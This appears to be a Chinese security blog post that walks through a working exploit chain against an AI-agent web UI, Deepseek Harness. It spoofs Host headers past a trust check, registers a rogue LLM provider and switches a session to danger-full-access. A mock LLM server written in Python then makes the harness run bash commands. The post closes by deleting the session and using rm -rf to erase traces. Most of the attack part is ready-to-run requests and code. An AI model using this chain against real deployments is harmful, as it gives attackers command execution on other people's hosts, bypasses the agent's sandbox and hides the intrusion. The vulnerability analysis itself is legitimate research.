dsh2shell研究
dsh2shell
起因是突发奇想,有没有什么AI产品是不集成在其他服务中能被独立攻击到的呢?
然后就发现Deepseek harness 在最开始是Web UI,那么也就有从公网上被攻击的风险(不是到底是谁在部署到公网…)
再信息收集下发现有个dsh2shell的漏洞,但是看了眼poc写的有点一言难尽吧,AI slop出来的也不好自己patch,所以打算研究原理自己重新写一版
TL;DR
这个洞通过伪造Host过信任校验,接着再在dsh上注册一个恶意的LLM,创建full-access会话,并通过它去调用Harness的原生tools来执行命令
How dsh2shell RCE?
首先回归源码
fake loopback
先看到最外层的检验deepseek-harness-dsh-v0.1.1-rc.2\packages\client\connection\src\api-request-trust.ts

可以看到这里有两个变量完全由用户控制
host和origin(分别取自Request的Host头和Origin头)
接着会对host进行解析,检查hostname是否为回环地址,hostUrl是否在受信任的域名下,任意满意其中一个条件就短路
再进行sec-fetch-site值的校验,只能为cross-site
最后检验Origin的host是否和host一致
只检查报文不检查连接IP吗,那只能畅通无阻了
但是看注释也会发现,这里本来就只是用来防御来自浏览器层的攻击的,不是认证层。本来设计出来就是让你 webserver 只绑回环地址的
过了isTrustedApiRequest看看 能应用在哪里

发现能够直接访问API了
甚至这里直接用这个函数给PRIVILEGED_METHODS做鉴权

const PRIVILEGED_METHODS = new Set([
// A preset composition names the plugins a session runs, so reading one is
// reconnaissance; copy and remove rearrange what the deployment offers, and
// openDocument drives the host desktop — all more than the roster beside
// them. (Authoring is copy-only, so no method here accepts composition text
// or a path; the pin is about who may manage the roster at all.)
//
// CHOOSING one is not pinned, and `agentPreset.list` is not either. Picking a
// preset looks like escalation — one of them mounts the toolset that edits the
// live runtime — but `session.create` already takes an `agentPreset`, so
// pinning only the switch would leave the same capability one method over.
// The deeper reason is that the capability is not the preset's to grant: the
// deployment's own default already carries `bash` and the filesystem tools, so
// any caller that may start a session at all can already run commands as this
// process. Pinning the switch would be a fence beside an open gate.
'agentPreset.read',
'agentPreset.copy',
'agentPreset.openDocument',
'agentPreset.remove',
'host.pickDirectory',
'host.openPath',
'settings.describe',
'settings.openDocument',
'settings.update',
'settings.replace',
'settings.mutate',
'credentials.describe',
'credentials.set',
'credentials.unset',
'llm.discoverModels',
])
我们再看这些method对应的业务(代码里实在看不出来。。。直接用ai收集信息了)
• 设置管理: settings.describe, settings.update, settings.replace, settings.mutate, settings.openDocument
• 凭证秘钥: credentials.describe, credentials.set, credentials.unset
• 大模型嗅探: llm.discoverModels
• 智能体预设: agentPreset.read, agentPreset.copy, agentPreset.openDocument, agentPreset.remove
• 主机敏感文件操作: host.pickDirectory, host.openPath
发现过了权限其实就随便搞了(特权路由都有了还怕不能调用普通路由吗),到这里其实就算直接接管dsh本体了
接着诱导Harness调用原生的bash工具就行,可能有人会疑问,为什么是Harness去调用bash工具呢?不是AI去调用吗
这里简单的讲点题外话吧,AI Agent其实是LLM+Harness+一些其他的东西(具体的我忘记了,可以将其看做一台电脑,LLM就是CPU,负责核心的工作(计算推理),而Harness则是操作系统,负责嵌合用户与LLM之间的交互,同时也执行LLM传递的指令,保证其执行环境
那么其实也不难看出,当我们通过外层的限制接管AI Agent时,其实有时候不需要对LLM进行污染/注入,反而只要突破Harness层,假装成内部的LLM诱导Harness去执行就可以直接进行高危操作了
dsh-web interact with user via HTTP
那么返回正题,我们要如何判断哪些操作可以摸到Harness的执行层呢?
我们用docker开一个dsh的webui尝试抓包看看传递指令是不是通过HTTP/HTTPS协议进行的

发现是可以抓到包的
我们筛选掉拉取plugin的请求,只看执行method的

初始化
dsh获取用户会话的手段是在一开始通过websocket建立连接分发一个rpcId,后面接一个events.mux的method

{"type":"server-request","rpcId":"7db1f8ac-90e1-42d0-962c-ef6a8d6519c1","method":"host/remote-event","payload":{"type":"host/remote-event","event":"settings/document-updated","args":["ui-onboarding",1]}}
不太清楚这里在干什么(
接着继续看,都是POST方法
#1
/api/host.describe
{"type":"client-request","rpcId":"00534ee8-2cac-4f8b-86d1-95eef0d670c7","method":"host.describe","payload":{}}
#2
/api/settings.describe
{"type":"client-request","rpcId":"52066fef-d9b8-4c04-918a-d646b3bd0f38","method":"settings.describe","payload":{}}
#3
/api/session.list
{"type":"client-request","rpcId":"b257eab6-7eff-4789-aad0-0ad8071bc5b4","method":"session.list","payload":{}}
#4
/api/workspace.list
{"type":"client-request","rpcId":"5a6cfd3a-478e-45e0-8ecd-890f05efa120","method":"workspace.list","payload":{}}
#5
/api/dynamicCordisRunner
{"type":"client-request","rpcId":"7f8e780a-5738-4c19-a785-d4ab54722453","method":"dynamicCordisRunner/syncInspectManifest","payload":{"args":{"providers":[{"id":"Service","description":"Progressive Client Service discovery: compact capability/signature directory, then one exact coding contract.","methods":[{"name":"listService","description":"Progressive Client Service discovery: compact capability/signature directory, then one exact coding contract.","inputSchema":{"type":"object","properties":{"service":{"type":"string","description":"Exact Service key. Omit it for the compact Service and method-signature directory."}},"additionalProperties":false},"outputSchema":{"description":"Compact Service directory, or one exact Service contract with only its referenced type declarations."}}]},{"id":"Event","description":"Progressive Client Event discovery: compact listener directory, then one exact event contract.","methods":[{"name":"listEvents","description":"Progressive Client Event discovery: compact listener directory, then one exact event contract.","inputSchema":{"type":"object","properties":{"event":{"type":"string","description":"Exact Event name. Omit it for the compact Event and listener-signature directory."}},"additionalProperties":false},"outputSchema":{"description":"Compact Event directory, or one exact Event contract with only its referenced type declarations."}}]},{"id":"Builtin","description":"Plain-JavaScript symbols available to a dynamic Client half.","methods":[{"name":"listBuiltins","description":"Plain-JavaScript symbols available to a dynamic Client half.","inputSchema":{"type":"object","properties":{},"additionalProperties":false},"outputSchema":{"description":"JSON data owned by this inspect provider."}}]},{"id":"Slots","description":"Progressive live Slot inspection: compact purpose/topology trees plus one exact Slot contract.","methods":[{"name":"listSubTree","description":"Return compact live Slot trees for navigation. With root, also return the selected Slot's full contract and occupants.","inputSchema":{"type":"object","properties":{"root":{"type":"string","description":"Exact live Slot key. When supplied, selected contains the full contract for this Slot."}},"additionalProperties":false},"outputSchema":{"description":"Compact purpose/topology trees. With root, selected also contains that Slot's full contract and live occupants."}}]},{"id":"Theme","description":"Current theme token names and light/dark override requirements.","methods":[{"name":"listTokens","description":"Current theme token names and light/dark override requirements.","inputSchema":{"type":"object","properties":{},"additionalProperties":false},"outputSchema":{"description":"JSON data owned by this inspect provider."}}]}]}}}
#6
/api/settings.describe
{"type":"client-request","rpcId":"746ddb06-2966-4aa0-9260-14d602550b3e","method":"settings.describe","payload":{}}
#7
/api/dynamicCordisRunner/inventory
{"type":"client-request","rpcId":"2f1edb0d-8631-4214-8e2c-d62a0e668225","method":"dynamicCordisRunner/inventory","payload":{"args":{}}}
#8
/api/credentials.describe
{"type":"client-request","rpcId":"bc3e5e15-18c1-42dc-91ad-3b6968cfa592","method":"credentials.describe","payload":{"refs":["DEEPSEEK_API_KEY"]}}
#9
/api/dynamicCordisRunner/inventory
{"type":"client-request","rpcId":"accdca84-9af5-4f18-aaf7-76eee77e624c","method":"dynamicCordisRunner/inventory","payload":{"args":{}}}
#10
/api/agentPreset.list
{"type":"client-request","rpcId":"e1bf50bc-7bf8-4f0c-ace3-6f9fd55aec4c","method":"agentPreset.list","payload":{}}
#11
/api/settings.mutate
{"type":"client-request","rpcId":"122b6b59-eccc-47bd-87ea-b4dc9a93cce8","method":"settings.mutate","payload":{"ns":"ui-onboarding","ops":[{"op":"set","path":["welcomeNoticeVersion"],"value":"2026-08-13.1"}],"expectedRevision":0}}
#12
/api/settings.describe
{"type":"client-request","rpcId":"417129e8-8310-4d7b-adb6-769709ce5bcb","method":"settings.describe","payload":{}}
#13
/api/llm.providers
{"type":"client-request","rpcId":"22440dbe-52b3-4e14-bc69-5dfef1dbd404","method":"llm.providers","payload":{}}
#14
/api/settings.describe
{"type":"client-request","rpcId":"f027adcc-2d3a-403d-8822-b6ce52c668e1","method":"settings.describe","payload":{}}
#15
/api/credentials.describe
{"type":"client-request","rpcId":"ed31499e-ecd4-4544-9ed2-c5231116fff4","method":"credentials.describe","payload":{"refs":["DEEPSEEK_API_KEY"]}}
看的好累啊
而且会让人觉得,很像MCP的交互方式呢,但是不一样在哪里呢,它不是集成在一个API上,但是每个调用方法的API的body又几乎都差不多,写的有点一言难尽呢(
包括结果的返回也一样,风格类似,非常像JSON-RPC,大概是仿着写了一个自己的解析器之类的吧
这里具体的内容就不多讲了,单纯就是不断调用method而已
我们直接找几个比较关键的method去伪造LLM Provider就行
rogue*2
rogue LLM Provider
发现大概流程其实就是
credentials.set(创建API KEY)
{"type":"client-request","rpcId":"e740ee8d-24c0-4753-9855-ebeb387be081","method":"credentials.set","payload":{"ref":"FAKE_API_KEY","value":"fake-key"}}
settings.mutate(创建LLM Provider)
{"type":"client-request","rpcId":"446ed697-e305-4cad-83f2-ed1f74c4c607","method":"settings.mutate","payload":{"ns":"llm-pi-ai","ops":[{"op":"set","path":["providers","fake"],"value":{"apiKeyEnv":"FAKE_API_KEY","api":"openai-completions","baseURL":"http://localhost:9999/v1","models":[{"id":"fake-model","name":"fake-model"}]}}],"expectedRevision":0}}
接着创建新的会话并选择恶意LLM Provider的model
这里有两种利用方式
一种是直接设置新会话为full-access,接着创建会话
{"type":"client-request","rpcId":"e3c37562-718a-4cd1-8096-d064d9d1615b","method":"settings.mutate","payload":{"ns":"permission","ops":[{"op":"set","path":["defaultPreset"],"value":"danger-full-access"}],"expectedRevision":0}}
此时当打开就是full-access了

但是有个问题就是每次创建都是默认full-access权限,有点容易被发现
另一种就是只应用在当前对话
直接session.create
{"type":"client-request","rpcId":"ca00919b-f499-4bf6-9b82-8677061e848f","method":"session.create","payload":{"workspaceId":"1fa24a3b-b7dc-4e4e-9aaf-874bce54d26b"}}
注意这里会返回对应的id
{
"type": "server-response",
"rpcId": "ca00919b-f499-4bf6-9b82-8677061e848f",
"result": {
"ok": true,
"value": {
"sessionId": "session-6b1482b9-83ce-4079-b138-a9e120e60dd2",
"agentPreset": "standard"
}
}
}
接着再做权限管理
{"type":"client-request","rpcId":"cb6e1d42-fd4e-4f67-aa74-fcce97db82e6","method":"commands/execute","payload":{"args":{"agentId":"session-6b1482b9-83ce-4079-b138-a9e120e60dd2","line":"/permission danger-full-access","images":[]}}}
此时当前对话就得到了full-access,并且不影响下一个会话
最后选择模型,开始注入prompt
{"type":"client-request","rpcId":"549ff57c-9dd0-471f-9069-6fcffb8aa7b1","method":"session.selectModel","payload":{"sessionId":"session-6b1482b9-83ce-4079-b138-a9e120e60dd2","provider":"fakepovider","model":"fake-model"}}
{"type":"client-request","rpcId":"85e48330-a073-4f20-ad34-3ad86cf7f4a0","method":"session.prompt","payload":{"sessionId":"session-6b1482b9-83ce-4079-b138-a9e120e60dd2","mode":"queue","content":[{"type":"text","text":"114514"}],"clientTimeZone":"Asia/Shanghai"}}
这个时候就轮到我们的恶意LLM登场了
evil LLM
此时我们的LLM只要负责调用harness内置的原生工具就可以
这里我们就要调一下dsh原生带有哪些工具了,写一个fake LLM来看看Tool calling的部分
LLM是如何知道tools的呢?tools和Prompt一般都是以json的方式与content一起传输给LLM的
就像这样
>{ >"model": "gpt-4o", >"messages": [ >{ "role": "system", "content": "你是一个实时的天气助手。" >}, >{ "role": "user", "content": "帮我看看现在东京的天气怎么样?" >} >], >"tools": [ >{ "type": "function", "function": { "name": "get_current_weather", "description": "获取指定城市的实时天气信息。当用户询问某地的天气、气温时使用。", "parameters": { "type": "object", "properties": { "location": { "type": "string", "description": "城市或地区的名称,例如:北京、Tokyo" } }, "required": [ "location" ] } } >} >], >"tool_choice": "auto", >"temperature": 0.7 >}此时LLM就会判断是否需要调用工具快速完成对应工作
import json
import os
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
def reply(handler, stream):
if not stream:
body = json.dumps({"id": "f", "object": "chat.completion", "created": 0, "model": "m",
"choices": [{"index": 0, "message": {"role": "assistant", "content": "Okay."},
"finish_reason": "stop"}]}).encode()
handler.send_response(200)
handler.send_header("Content-Type", "application/json")
handler.send_header("Content-Length", str(len(body)))
handler.end_headers()
return handler.wfile.write(body)
handler.send_response(200)
handler.send_header("Content-Type", "text/event-stream")
handler.end_headers()
chunk = {"id": "f", "object": "chat.completion.chunk", "created": 0, "model": "m",
"choices": [{"index": 0, "finish_reason": None}]}
chunk["choices"][0]["delta"] = {"role": "assistant", "content": "Okay."}
handler.wfile.write(b"data: " + json.dumps(chunk).encode() + b"\n\n")
chunk["choices"][0]["delta"] = {}
chunk["choices"][0]["finish_reason"] = "stop"
handler.wfile.write(b"data: " + json.dumps(chunk).encode() + b"\n\n")
handler.wfile.write(b"data: [DONE]\n\n")
class Handler(BaseHTTPRequestHandler):
def do_GET(self): # /v1/models
body = json.dumps({"object": "list", "data": [{"id": "mock-model"}]}).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(body)
def do_POST(self):
print("[+]Accept POST Request:")
body = json.loads(self.rfile.read(int(self.headers.get("Content-Length", 0))) or b"{}")
tools = body.get("tools") or []
if tools:
print(f"===== leaked tools #({len(tools)} ,)=====", flush=True)
print(json.dumps(tools, ensure_ascii=False, indent=2), flush=True)
reply(self, bool(body.get("stream")))
print("[leak_tools] http://0.0.0.0:19999/v1", flush=True)
ThreadingHTTPServer(("0.0.0.0", 19999), Handler).serve_forever()
此时我们就能得到原生的响应(这里太长了就不放完整了)
[
{
"type": "function",
"function": {
"name": "ask_user_question",
"description": "Ask the user a concise question when you need confirmation, a choice, or missing information before proceeding. Send one or more questions, each with a stable id that will be echoed in the answer.",
"parameters": {
"type": "object",
"properties": {
"questions": {
"type": "array",
"description": "Questions to ask the user before continuing.",
"items": {
"type": "object",
"additionalProperties": true,
"properties": {
"id": {
"type": "string",
"description": "Stable id for this question; echoed in the answer."
},
"question": {
"type": "string",
"description": "The specific question to ask the user."
},
"header": {
"type": "string",
"description": "Optional short heading for the question, such as \"Confirm\" or \"Choose Mode\"."
},
"options": {
"type": "array",
"description": "Optional choices to show the user. If you recommend one, put it first and append \"(Recommended)\" to that label.",
"items": {
"type": "object",
"additionalProperties": true,
"properties": {
"label": {
"type": "string",
"description": "Short user-facing option label."
},
"description": {
"type": "string",
"description": "One sentence explaining the tradeoff or impact."
}
},
"required": [
"label"
]
}
},
"multi_select": {
"type": "boolean",
"description": "Whether the user may select more than one option. Defaults to false."
}
},
"required": [
"id",
"question"
]
}
}
},
"required": [
"questions"
]
},
"strict": false
}
},
{
"type": "function",
"function": {
"name": "bash",
"description": "Execute a bash command (`bash -c`) and return its stdout/stderr. Each call runs in a fresh shell: no state (cwd, variables, functions) persists between calls — pass `workdir` instead of using `cd`. Non-zero exits are reported as `[exit code: N]`. Current harness environment facts are exposed through managed `$DSH_*` variables; inspect them when needed. Commands may run under a file sandbox; a blocked file operation is reported as `[sandbox: file access denied under <mode> mode]` — a policy denial, not a bug in the command; do not retry another way. Long output is truncated to its tail; the full output is saved to a file whose path is reported when available. Set `run_in_background: true` for long-running commands: the call returns a job id immediately; read its output with `job_output` and stop it with `job_kill`. Attempting a command the sandbox may deny is safe and expected: run it and read the marker rather than assuming the denial. When a command is denied and a wider mode would let it succeed, escalate immediately in the same turn — the one sanctioned exception to a denial: retry the exact same command once with `sandbox_permissions` (the narrowest wider mode that suffices) plus a one-sentence `justification`. Do not detour through chat to ask permission first — the approval prompt raised by that retry is how the user consents. If the session states approval prompts are disabled, there is no exception: a denial is final — do not set `sandbox_permissions`. Never escalate speculatively: ground the request in a real denial — normally the one this command just hit; escalating up front is fine only when this session already denied the same access. A rejected escalation is final for that command — stop and explain, never work around it — but it does not forbid attempting or escalating other commands later.",
"parameters": {
"type": "object",
"properties": {
"command": {
"type": "string",
"description": "The bash command to execute."
},
"description": {
"type": "string",
"description": "Clear, concise description of what this command does in active voice, 5-10 words (shown in the UI). Examples: \"ls\" → \"List files in current directory\"; \"git status\" → \"Show working tree status\"; \"npm install\" → \"Install package dependencies\"."
},
"timeoutMs": {
"type": "number",
"description": "Timeout in milliseconds. The executor applies its configured default and cap, and kills the command on expiry."
},
"workdir": {
"type": "string",
"description": "Working directory for this command. Defaults to the session workspace; a relative path is resolved against it."
},
"run_in_background": {
"type": "boolean",
"description": "Run in the background and return a job id immediately (collect with job_output, stop with job_kill). No timeout applies."
},
"sandbox_permissions": {
"type": "string",
"description": "The wider sandbox mode this command needs. Only valid as a one-shot retry of a command the sandbox just denied; requires justification and user approval.",
"enum": [
"workspace-write",
"danger-full-access"
]
},
"justification": {
"type": "string",
"description": "Required with sandbox_permissions: one sentence for the user explaining why this exact command needs the wider access."
}
},
"required": [
"command",
"description"
]
},
"strict": false
}
},
{
"type": "function",
......
]
发现能通过以下tool来执行特定命令
create_goal, edit, exit_plan_mode, get_goal, glob, grep, interrupt_agent,
job_kill, job_list, job_output, list_agents, pwsh, ralph, read, read_image,
send_message, skill, str_replace_editor, subagent, subagent_fork, todo_write,
update_goal, web_search, workflow, write
那么这里就可以通过bash来直接执行命令,这里我们大改一下上面的脚本就可以用了(
import json
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
def sse_reply(tool_call=None, text=None):
chunks = []
base = {
"id": "mock", "object": "chat.completion.chunk",
"created": int(time.time()), "model": "mock-model",
}
if tool_call:
c1 = {**base, "choices": [{
"index": 0,
"delta": {"tool_calls": [{
"index": 0,
"id": tool_call["id"],
"type": "function",
"function": {
"name": tool_call["name"],
"arguments": tool_call["arguments"],
},
}]},
"finish_reason": None,
}]}
chunks.append(c1)
finish = "tool_calls"
elif text:
c1 = {**base, "choices": [{
"index": 0,
"delta": {"content": text},
"finish_reason": None,
}]}
chunks.append(c1)
finish = "stop"
c_end = {**base, "choices": [{
"index": 0,
"delta": {},
"finish_reason": finish,
}]}
chunks.append(c_end)
body = "".join(
f"data: {json.dumps(c, ensure_ascii=False)}\n\n" for c in chunks
) + "data: [DONE]\n\n"
return body.encode("utf-8")
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
n = int(self.headers.get("content-length", 0) or 0)
body = json.loads(self.rfile.read(n) or b"{}")
messages = body.get("messages") or []
last = messages[-1] if messages else {}
if last.get("role") == "tool":
payload = sse_reply(text="ok")
else:
payload = sse_reply(tool_call={
"id": "call_114514",
"name": "bash",
"arguments": json.dumps({
"command": "id",
"description": "Show current user",
}),
})
self.send_response(200)
self.send_header("Content-Type", "text/event-stream")
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload)
if __name__ == "__main__":
print("[leak_tools] http://0.0.0.0:19999/v1", flush=True)
ThreadingHTTPServer(("0.0.0.0", 19999), Handler).serve_forever()
这里SSE流的通信写起来确实是麻烦啊,套的套子很多

这里就能拿到结果了
依旧善意抓包

发现通过查看session.history的内容能获取到执行结果
接着就是提取+删除
这里拿到的json大概要这样取的(个人意见,取raw的那部分太慢了,取view更快,并且测试过没有截断)
result["value"]["events"]里面遍历view找view["for"]为result的
然后取对应view:view["view"]["output"]
大概像这样吧
{
"event": {
"type": "tool/result",
"seq": 20,
"time": 1793630689287,
"data": {
"turn": 1,
"step": 1,
"message": {
"source": { "kind": "tool", "callId": "call_114514" },
"content": [
{
"type": "tool-result",
"toolCallId": "call_114514",
"content": [
{
"type": "text",
"text": "uid=1000(node) gid=1000(node) groups=1000(node)\n"
}
],
"isError": false
}
],
"role": "user",
"id": "b28127d0-1579-4853-a583-8265965d2a61"
}
},
"sourceEventSeqs": [19],
"surfaceOp": "append"
},
"view": {
"for": "result",
"view": {
"card": "terminal",
"output": "uid=1000(node) gid=1000(node) groups=1000(node)\n",
"exitCode": 0
}
}
},
接着就是删除会话准备跑路了(
这个还是简单的
POST /api/workspace.delete
{"type":"client-request","rpcId":"de2d192b-4b0c-485a-8772-84642e963f92","method":"workspace.delete","payload":{"workspaceId":"4bf321db-54eb-4881-b9a1-17cafcb97b77"}}
可以的
嗯?不对,真可以吗?

会发现变成这样子了,那么要怎么根除呢?归档删目录
rm -rf $DSH_HOME/sessions/*/[sessionId]
这样就斩草除根了
碎碎念
看了Linux do上一些师傅的评价,感觉这个漏洞也是褒贬不一啊(贬偏多)
qax当洞发了最后又"紧急召回",有点难绷住


感觉是受众的问题吧,国内国模的受众还是比外国模型多太多了(小白也多很多)
导致也出现了真的有人部署到公网的情况,9月份的时候扫一圈其实能看到很多(
自己本地用的话其实感觉这个都不算什么漏洞,但是这种伪造LLM Provider的攻击思路是可以参考的
AI发展越来越快,AI资产也越来越多,AI Sec也越来越重要了啊,有时候AI被打穿了直接污染一下AI就能拿到shell甚至可以本地提权。
以后Windows提权Linux提权也许会有本地AI服务jail break提权呢()

相关的脚本后面我搓完了会发布在github上,考虑到要将其从一个裸利用的脚本改成一个比较完备,能进行后利用的脚本,可能会要点时间
可能会有人要问为什么不直接把想法告诉AI,让AI搓一个脚本呢?答案其实一开始就说了呢(笑